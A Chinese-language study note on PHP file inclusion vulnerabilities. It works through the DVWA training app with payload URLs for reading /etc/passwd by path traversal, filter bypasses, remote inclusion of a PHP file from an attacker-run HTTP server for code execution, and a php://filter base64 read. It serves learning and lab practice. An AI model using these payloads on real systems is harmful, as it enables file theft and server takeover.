学习自农夫安全A10
定义
文件包含漏洞(File Inclusion)是一种最常见的依赖于脚本运行而影响 Web 应用程序的漏洞。当应用程序使用攻击者控制的变量建立一个可执行代码的路径,允许攻击者控制在运行时执行哪个文件时,就会导致文件包含漏洞。
程序开发人员通常会把可重复使用的函数写入单个文件中,在使用这些函数时,程序开发人员直接调用此文件,而无需再次编写函数,这种调用文件的过程一般被称为文件包含。此外,程序开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用。但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,导致文件包含漏洞。
分类
远程文件包含(RFI,Remote File Inclusion): 当 Web 应用程序下载并执行远程文件时,会导致远程文件包含,这些远程文件通常以 HTTP 或 FTP URI 的形式获取,作为Web 应用程序的用户提供的参数。
就是可以直接通过payload访问www.baidu.com的话就是远程文件包含了,这个要比本地文件包含危害大一些,可能可以通过这个拿到机器的shell
本地文件包含(LFI,Local File Inclusion):本地文件包含类似于远程文件包含,本地文件包含仅能包括本地文件,即当前服务器上的文件以供执行。
成因
本质还是因为权限控制的问题,给了出问题的代码过高的权限,以至于可以访问到机器上其他的敏感文件。
危害
攻击流程
DVWA(low)
我们可以看出这个页面直接在URL栏写出了文件名,可以怀疑有文件包含漏洞
我们先通过绝对路径访问敏感信息:passwd 文件
构建payload
http://192.168.48.137/vulnerabilities/fi/?page=/etc/passwd
我们再试试相对路径
构建payload
http://192.168.48.137/vulnerabilities/fi/?page=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd
DVWA(medium)
看源码
防护思路是过滤传参
可以看到对于相对路径和远程访问做了过滤但是没有过滤绝对路径
所以payload还是
http://192.168.48.137/vulnerabilities/fi/?page=/etc/passwd
DVWA(high)
看源码
fnmatch() 函数的作用是根据指定的模式来匹配文件名或字符串。
匹配查看的文件是不是file开头,还有文件有没有include.php,不是或者没有则返回error
那我们让它有并且同时查看我们需要的敏感信息就行了
构建payload
http://192.168.48.137/vulnerabilities/fi/?page=file1.php…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd
getshell
➡各种姿势总结文章⬅
无限制远程文件包含拿shell
传参的都当成php执行
创建一个phpinfo文件命名为php.txt
启动http服务器
构建payload
http://192.168.48.137/vulnerabilities/fi/?page=http://192.168.48.128:8000/php.txt
由于无限制即使传入的是txt文件也会当成php文件来执行
有限制远程文件包含的绕过
测试目标主机后端代码
<?php include($_GET['filename'] . ".html"); ?>
代码表示回向传参添加html后缀,导致远程包含的文件也会多一个html后缀,导致包含的文件被当成html文件来执行。
通过问号绕过
http://192.168.48.137/vulnerabilities/fi/?page=http://192.168.48.128:8000/php.txt?
通过“#”号绕过
http://172.16.3.186/test/yfi.php?filename=http://172.16.3.183/php.txt%23
PHP伪协议
定义
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。 php://filter(本地磁盘文件进行读取)
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。
条件
只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;
用法
http://192.168.48.137/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=/etc/passwd
思考
其本质就是将包含的文件内容通过base64加密后再输出到页面上,可以绕过可能存在的对于输出内容的检测和拦截。当感觉目标站点存在这个漏洞的而页面没有输出的时候
同时还有一种思路,就是无论是注入还是输出的时候都可以通过加密的方式绕过可能存在的过滤。注入的时候是加密后传入目标站点后,再在其后端解密。
后记
2023.3.20 | 22:05